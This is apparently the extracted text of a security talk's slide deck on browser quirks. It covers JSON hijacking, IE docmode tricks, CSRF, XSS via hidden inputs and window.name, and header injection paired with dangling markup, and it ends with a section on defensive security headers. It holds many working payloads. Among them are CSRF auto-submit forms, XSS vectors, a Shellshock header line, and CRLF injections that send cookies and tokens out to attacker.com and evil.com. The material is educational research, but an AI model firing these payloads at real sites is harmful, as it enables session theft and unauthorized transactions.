฿ⱤØ₩₴ɆⱤ₴ ₣ØⱤ ฿Ɇ₮₮ɆⱤ ØⱤ ₩ØⱤ₴Ɇ

Renato Rodrigues

Basics
Features

"Notes"

Reference

𝐔ni͓̽co̷d乇

Specify a charset

Content-Type: application/json; ~~charset=utf-8~~

The weird case of JSON Hijack

while(1);[{token:"secret1",uid:"INJECTION"}]

Remember: UTF-8 (1 byte) | UTF-16 (2 bytes) | UTF-32 (4 bytes)

Goals:
- Use a non-ASCII encoding in order to avoid the infinite loop;
- Have valid Javascript.

Reference

𝐔ni͓̽co̷d乇

The weird case of JSON Hijack

while(1) ... -> To Unicode
>`\u{77}\u{68}\u{69}\u{6c}\u{65}\u{28}\u{31}\u{29}`
  while(1)

UTF-16BE Encode
>`\u{7768}\u{696c}\u{6528}\u{3129}`
  "睨楬攨ㄩ" ...

Since the JSON endpoint had an "injection"
By injecting "unicode_identifier=1//"

We can access the "window" object, and get the last prop set:

睨楬攨ㄩ .. %00=%001%00/%00/

Object.keys(self).pop()

Reference

𝐔ni͓̽co̷d乇

The weird case of JSON Hijack

unescape(escape((Object.keys(window).pop())).replace(/%u(..)(..)/g,'%$1%$2'))

escape("睨楬攨ㄩ...")
> "%u7768%u696C%u6528%u3129%u3B5B..."

"%u7768%u696C%u6528%u3129%u3B5B...".replace(/%u(..)(..)/g,'%$1%$2')
> "%77%68%69%6C%65%28%31%29%3B%5B%7B..."

unescape("%77%68%69%6C%65%28%31%29%3B%5B%7B...")
> while(1);[{token:"secret1",uid:"INJECTION"}]

JSON content will be inside its bytes!

I will never let you Down!

Docmodes

Microsoft Internet Explorer (IE) ships several different document modes - meaning different ways to render a HTML document. These modes are meant to provide a fallback in case a website renders incorrectly after a new IE version is released.

It can be activated using HTTP headers or <meta> elements.

A document mode will be given from parent frame to child frame - classic inheritance.

Reference

Show Me

<!-- attacker.com -->
<meta http-equiv="X-UA-Compatible" content="IE=7">
<iframe src="http://victim.com/"></iframe>

<!-- victim.com -->
"<!doctype html>" === "NotExist" ? IE9<->IE5 : IE8
<html>
    <% Arrrg I'm back from the deads! >
</html>

But <!doctype html> is always set.

<!doctype html> can be effectively bypassed using CV list.

If a page runs in compat mode because of CV list, its child frames will also inherit its docmode, regardless of the doctype.

What are you talking about...

<!-- Ref: https://cure53.de/xfo-clickjacking.pdf -->
Expressions are back \m/

<div style="color: red; foo: expression(open(alert(1)))">XSS via CSS</div>

Only works, if document mode set to IE5 Quirks or IE7. IE11 doesn't support 
CSS Expressions in the Internet Zone - a page must be marked to be running 
in the "Trusted Zone" to make them work.


<!-- Ref: http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html -->
It seems that IE7 mode cannot access an element created dynamically with 
JavaScript via the name.


<!-- Wondering WTF is <% > is just a IE11 ASP.NET Request Validator 
     bypass by .mario -->
<% style=behavior:url(:onreadystatechange=alert(1)>

<!-- Docmode IE8 and below by @garethheyes -->
<comment><img src="</comment><iframe onload=alert(1)>">

More: "My Sweet Innocence Exposed - Eleven Reasons why we will all miss you, 'e'" by Mario Heiderich

TEXT/PLAIN

Exploiting the unexploitable

Content-Type: text/plain

Plain text does not provide for or allow formatting commands, font attribute specifications, processing instructions, interpretation directives, or content markup.

Plain text is seen simply as a linear sequence of characters, possibly interrupted by line breaks or page breaks.

RFC 2046

MS Outlook

Express mail message (EML)

RFC 822

EML is a file extension for an e-mail message saved to a file in the MIME RFC 822 standard format by Microsoft Outlook Express as well as some other email programs.

EML files can contain plain ASCII text for the headers and the main message body as well as hyperlinks and attachments.

EXPLOITING THE UNEXPLOITABLE

IE can render .eml files, as long as the Content-Type is set to "message/rfc822".

IE will perform mime-type sniffing if HTML/JS is present in the response and it will render/execute.

~~X-Content-Type-Options: nosniff~~

Serve an .eml file with the proper Content-Type and frame the vulnerable site with your injection (yes that text/plain endpoint). Make sure that IE performs mime-type sniffing and it's done!

Reference

Seeing Is believing

## plainxss.eml

XSSEML
Content-Type: text/html
Content-Transfer-Encoding: 8bit

<iframe src="//0d.al/plaintext/plain.php?inj=<html><h1>NoHTMLPossible</h1>"></iframe>


## .htaccess

AddType message/rfc822 .eml

See? Give IE some TLC

Just a Secret!

ERROR 404

This location is awesome!

http://URL.com/urlxss/vulnpage.html?Browser%20Encode%20the%20URL%20by%20Default.%20e.g.:%20%3Cimg%20src=x%3E.

the Problem

http://URL.com/urlxss/vulnpage.html?Browser Encode the URL by Default. e.g.: <img src=x>

When the URL is presented in the page this is what it looks like.

<h1>This location is awesome!</h1>
<script>document.write(document.location)</script>

"Hackable" location properties

Reference

It's possible to pass single ('), double quote (") and angle brackets (< >) without enconding.

location.href, location.search, location.hash, location.pathname, document.URL, document.documentURI, document.URLUnencoded, document.baseURI, document.referrer

?parameter=<h1>WTF!</h1>

<!-- rd.php - Simple Redirect in PHP -->

<?php
    $redirectUrl = $_GET['url'];
    header("Location: $redirectUrl");
?>

Just a small tweak

+ Redirect + URL

Reference

Good News

+ Redirect + URL

Reference

The HTTP referrer is an HTTP header field that identifies the address of the webpage (i.e. the URI or IRI) which is linked to the resource being requested. By checking the referrer, the new webpage can see where the request originated.

<h1>This location is awesome!</h1>
<script>document.write(document.referrer)</script>

http://a<img%0csrc=x%0conerror=alert``>.DOMAIN.tld/rd.php?url=//PAGEw/REFERRER

CSRF

CROSS-SITE REQUEST FORGERY

What we should know

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.

The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application.

Definition from OWASP.

traditional Attacks

//Original Request - From Maria Account to Bob $100
Via GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

//Send $100000 to Maria (Attacker Request)
http://bank.com/transfer.do?acct=MARIA&amount=100000

//Attacks
<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>
<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">



//Original Request - From Maria Account to Bob $100
Via POST http://bank.com/transfer.do HTTP/1.1

acct=BOB&amount=100

//Send $100000 to Maria (Attacker Request)
<form action="http://bank.com/transfer.do" method="POST">
    <input type="hidden" name="acct" value="MARIA"/>
    <input type="hidden" name="amount" value="100000"/>
    <input type="submit" value="View my pictures"/>
</form>

//Attack
<body onload="document.forms[0].submit()">

JSON Will Not Save the Day!

<form action="http://domain.tld/ws101/csrf/japi.php" method="POST" enctype="text/plain" >
        <input name='{"CSRF":"VIA-FORM","hmm":"TOPS!", "ignore_me":"' value='test"}'type='hidden'>
        <input type=submit>
</form>
Payload: {"CSRF":"VIA-FORM","hmm":"TOPS!", "ignore_me":"=test"}

Crafting JSON Payload using FORM HTML Element

Simple HTTP Request - CORS "Bypass"

<script>
    function jsonreq() {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.withCredentials = true;
        xmlhttp.open("POST","http://domain.tld/ws101/csrf/japi.php", true);
        //xmlhttp.setRequestHeader("Content-Type","text/plain");
        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        //xmlhttp.setRequestHeader("Content-Type","multipart/form-data");
        xmlhttp.send(JSON.stringify({"CSRF":"VIA-XHR"}));
    }();
</script>

Validating CONTENT-TYPE

Action Plan
HTTP POST w/ the payload and the custom header is sent to the attacker’s server;

The redirector script will issue a HTTP 307 w/ the Location header in the response set to the final vulnerable endpoint;

The victim’s browser will follow the redirection with the headers and the POST body intact to the final URL.

Reference

+ HTTP 307 + CSRF

"Flash" to the rescue!

Hidden Fields

That injection s*cks!

<input value="" type="hidden" id="returl" name="returl">

Hidden Inputs

These fields should not be rendered and provide a means for servers to store state information with a form. This will be passed back to the server when the form is submitted, using the name/value pair defined by the corresponding attributes. This is a work around for the statelessness of HTTP. Another approach is to use HTTP "Cookies".

HTML 3.2

Reference

Firefox Only

Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X.

<input type="hidden" value="" accesskey="X" onclick="alert(1)">
                            ^
                        Injection

Reference

<meta http-equiv="x-ua-compatible" content="IE=10">

<iframe src="//URL.tld/?injection=
                'style='behavior:url(?)' onreadystatechange='alert(1)">
</iframe>

IE Only

The behavior property lets you use CSS to attach a script to a specific element in order to implement DHTML (Dynamic HTML) components.

https://URL.tld/hiddenxss/?injection=
                           " type=image src onerror="alert(1)

Generic

We can trick the element into thinking it's an image-input. We simply set the type to image and then we can assign a src and use an error handler.

Reference

Target ATTRibute

SPEC

_blank
Opens the linked document in a new window or tab

_self (default)
Opens the linked document in the same frame as it was clicked

_parent
Opens the linked document in the parent frame

_top
Opens the linked document in the full body of the window

framename
Opens the linked document in a named frame

<a target="_blank|_self|_parent|_top|framename" href="#">

Reference

_Blank Curse

<a target="_blank" href="//domain.tld/attacker.html">

Reference

By default the attacker.html document in the new tab has a window.opener which:

If Same-Origin
window.opener.window is accessible.

If Cross-Origin
window.opener.location is accessible.

What can go wrong?
Full Control of domain.tld or easy phishing...

Fix..

Ensure window.opener is null!

By setting rel attribute to noopener and noreferrer.

PS: If you open a new window via window.open(), you're also "vulnerable", so remember to:

<a target="_blank" href="//domain.tld/attacker.html" rel="noopener noreferrer">

var nW = window.open();
nW.opener = null;
nW.location = url;

Do you still remember framename value?

Window.name

The name of the window is used primarily for setting targets for hyperlinks and forms. Windows do not need to have names.

It has also been used in some frameworks for providing cross-domain messaging as a more secure alternative to JSONP.

window.name will convert all values to their string representations by using the toString method.

Reference

Window.name Abuse

Google Syndication has a open DOM XSS or feature!
window.name as source and document.write as a sink.

After 14 years it's still a thing!

Replace: "//GS" by "https://tpc.googlesyndication.com/safeframe/1-0-25/html/container.html"

<!-- Via iframe -->
<iframe name="1;25;<svg/onload=alert(/XSS/)>true" src="//GS"></iframe>

<!-- Via Javascript -->
<script>window.open("//GS","1;25;<svg/onload=alert(/XSS/)>true")</script>

<!-- Via anchor -->
<a target="1;25;<svg/onload=alert(/XSS/)>true" href="//GS">XSS</a>
<!-- Via anchor II -->
<base target="1;25;<svg/onload=alert(/XSS/)>true">
<a href="//GS">XSS</a>

<!-- Via img -->
<img src="http://bit.ly/2EuxNyT" alt="OWASP" usemap="#xss">
<map name="xss">
  <area shape="rect" coords="0,0,900,300" target="1;25;<svg/onload=alert(/XSS/)>true" href="//GS">
</map>

<!-- Via form -->
<form action="//GS" method="get" target="1;25;<svg/onload=alert(/XSS/)>true">
  <input type="submit" value="Submit">
</form>

Reference

MATHML

Mathematical Markup Language (MathML) is a mathematical markup language, an application of XML for describing mathematical notations and capturing both its structure and content. It aims at integrating mathematical formulae into World Wide Web pages and other documents. It is part of HTML5 and an ISO standard ISO/IEC DIS 40314 since 2015.

Reference

E.G. Pythagorean theorem

<math> 
    <mrow> 
        <msup>
            <mi> a </mi>
            <mn> 2 </mn>
        </msup> 
        <mo> + </mo>
        <msup>
            <mi> b </mi>        
            <mn> 2 </mn>
         </msup> 
         <mo> = </mo> 
         <msup>
            <mi> c </mi>
            <mn> 2 </mn>
        </msup> 
    </mrow> 
</math>

a² + b² = c²

Reference

LEts use some Math

Reference

<!-- Simple SVG image -->
<img src=awesome.svg>

<!-- awesome SVG --> 
<svg width="400px" height="300px" viewBox="0 0 400 300"
     xmlns="http://www.w3.org/2000/svg">
    <foreignObject width="400" height="300"
                   requiredExtensions="http://www.w3.org/1998/Math/MathML">

<math xmlns="http://www.w3.org/1998/Math/MathML" xmlns:xlink="http://www.w3.org/1999/xlink">
<semantics>
  <apply>
    <intersect/>
    <ci>B</ci>
  </apply>
  <annotation-xml encoding="application/xhtml+xml">

  <body xmlns="http://www.w3.org/1999/xhtml">
      <h1>Awesome SVG</h1> 
      <meta http-equiv="set-cookie" content="mathmlcookie=great_to_see_you;" />
  </body>
  </annotation-xml>
</semantics>
</math>
</foreignObject>
</svg>

mesSY? Check This:

WD-XSL (XSLT DRAFT)

VISUAL BASIC SCRIPT (VBSCRIPT)

Vector Markup Language (VML)

Portable Document Format (PDF)

...

A deadly combination

HEADER INJECTION

HTTP Header Injection vulnerabilities occur when user input is insecurely included within server responses headers.

Normally it includes carriage-return and line-feed characters within the server response.

Reference

http://inj.example.org/redirect.asp?origin=foo%0d%0aSet-Cookie:%20SESSIONID=SessionFixed%0d%0a


HTTP/1.1 302 Object moved
Connection: close
Location: account.asp?origin=foo
Set-Cookie: SESSIONID=SessionFixed
Content-Length: 121

Dangling markup injection

Reference

An extraction technique that uses the injection of non-terminated markup.

This action prompts the receiving parser to consume a significant portion of the subsequent HTML syntax, until the expected terminating sequence is encountered.

<!-- http://lcamtuf.coredump.cx/postxss/ -->

<img src='http://evil.com/log.cgi?   ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'                  ← Normally-occurring apostrophe in page text
...
</div>             ← Any normally-occurring tag (to provide a closing bracket)

HTTPOnly Cookies

When you tag a cookie with the HTTPOnly flag, it tells the browser that this particular cookie should only be accessed by the server. Any attempt to access the cookie from client script is strictly forbidden.

Reference

The Combination

HEADER INJECTION

DANGLING MARKUP INJECTION

HTTPOnly Cookies

+

PROFIT

Profit

# An Attacker (Should shorten the link for ease of exploitation)
Long Link; https://VULNERABLE.DOM/xpto_page.st?parameter=%0d%0a
Content-Type:%20text/html%0d%0a
HTTP/1.1%20200%20OK%0d%0a
Content-type:%20text/html%0d%0a%0d%0a
%3Ccenter%3E%3Ch1%3EHTML%20Injection%3C/h1%3E%3C/center%3E
%3Cimg%20src=%27http://pathonproject.com/data.php=

# In Detail

# Return on the response header to tell the browser that everything is OK 
HTTP/1.1 200 OK 
# Return on the response header to start HTML injection 
Content-Type: text/html 
# This Blank line is mandatory to start HTTP body 

# Cosmetic HTML can be removed 
<center><h1>HTML Injection</h1></center>
# Unclosed HTML tag that will take the body information as data to the data parameter
#  leading to the leak of HTTPOnly cookies (e.g. session) 
<img src='http://attacker.com/data.php=

Collection Demo

Security HEaders

GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: (){:;}; /bin/bash -c "whoami"


Host: a<svg%0conload=alert``>.0d.al

HTTP Headers

In Short

HTTP message headers are used to precisely describe the resource being fetched or the behavior of the server or the client. Custom proprietary headers can be added using the 'X-' prefix; others are listed in an IANA registry, whose original content was defined in RFC 4229.

HTTP headers are the core part of HTTP requests and responses, and they carry information about the browser, the requested content, the server and much more.

Reference

Classic Headers

X-Xss-Protection

Sets the configuration for the cross-site scripting filters built into most browsers.

X-XSS-Protection 1; mode=block

X-Frame-Options

Tells the browser whether you want to allow your site to be framed or not.

X-Frame-Options DENY

X-Content-Type-Options

Stops a browser from trying to MIME-sniff the content type and forces it to stick with the declared content-type.

X-Content-Type-Options nosniff

Classic Headers

Strict-Transport-Security

Is an excellent feature to support on your site and strengthens your implementation of TLS by getting the User Agent to enforce the use of HTTPS.

Strict-Transport-Security max-age=31536000; includeSubdomains; preload

Public-Key-Pins

Protects your site from MiTM attacks using rogue X.509 certificates. By whitelisting only the identities that the browser should trust, your users are protected in the event a certificate authority is compromised.

Public-Key-Pins pin-sha256="t/OMbK...JM="; max-age=600; report-uri="..."

Classic Headers

Content-Security-PolicY

Is an effective measure to protect your site from several attacks. By setting sources of approved content, you can prevent the browser from loading malicious assets.

script-src 'strict-dynamic' 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=' 'unsafe-inline' http: https:; object-src 'none'; base-uri 'none'; report-uri https://csp.example.com;

"New"Headers

Referrer-Policy

HTTP header governs which referrer information, sent in the Referrer header, should be included with requests made.

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Reference

"New"Headers

Feature-Policy

Feature Policy will allow a site to enable or disable certain browser features and APIs in the interest of better security and privacy.

Feature-Policy:
 accelerometer 'none';
 camera 'none'; 
 geolocation 'none'; 
 gyroscope 'none';
 microphone 'none';
 payment 'none';
 usb 'none'
 push 'self'
 ...

Reference

More Freebies

Suborigins

Clear Site Data

Mechanism for programmatically defining origins to isolate different applications running in the same physical origin.

Clears browsing data (cookies, storage, cache) associated with the requesting website.

Subresource Integrity

Upgrade Insecure Requests

"New"Headers

Just Before Leaving!

A (non-comprehensive) list of researchers that r0ck our world!

฿ⱤØ₩₴ɆⱤ₴ ₣ØⱤ ฿Ɇ₮₮ɆⱤ ØⱤ ₩ØⱤ₴Ɇ

Renato Rodrigues

SiMpS0N

//pathonproject.com

Basics Features

"Notes"

Browsers

𝐔ni͓̽co̷d乇

𝐔ni͓̽co̷d乇

𝐔ni͓̽co̷d乇

I will never let you Down!

Docmodes

Show Me

What are you talking about...

TEXT/PLAIN

Exploiting the unexploitable

Content-Type: text/plain

MS Outlook

Express mail message (EML)

EXPLOITING THE UNEXPLOITABLE

Seeing Is believing

See? Give IE some TLC

Just a Secret!

ERROR 404

the Problem

"Hackable" location properties

?parameter=<h1>WTF!</h1>

Just a small tweak

+ Redirect + URL

Good News

+ Redirect + URL

CSRF

CROSS-SITE REQUEST FORGERY

What we should know

traditional Attacks

JSON Will Not Save the Day!

Validating CONTENT-TYPE

+ HTTP 307 + CSRF

"Flash" to the rescue!

Hidden Fields

That injection s*cks!

Hidden Inputs

Firefox Only

IE Only

Generic

Target ATTRibute

SPEC

_Blank Curse

Fix..

Do you still remember framename value?

Window.name

Window.name Abuse

MATHML

MATHML

E.G. Pythagorean theorem

LEts use some Math

mesSY? Check This:

WD-XSL (XSLT DRAFT)

VISUAL BASIC SCRIPT (VBSCRIPT)

Vector Markup Language (VML)

Portable Document Format (PDF)

...

A deadly combination

HEADER INJECTION

Dangling markup injection

HTTPOnly Cookies

The Combination

Profit

Collection Demo

Security HEaders

HTTP Headers

In Short

Classic Headers

X-Xss-Protection

X-Frame-Options

X-Content-Type-Options

Classic Headers

Strict-Transport-Security

Public-Key-Pins

Classic Headers

Basics
Features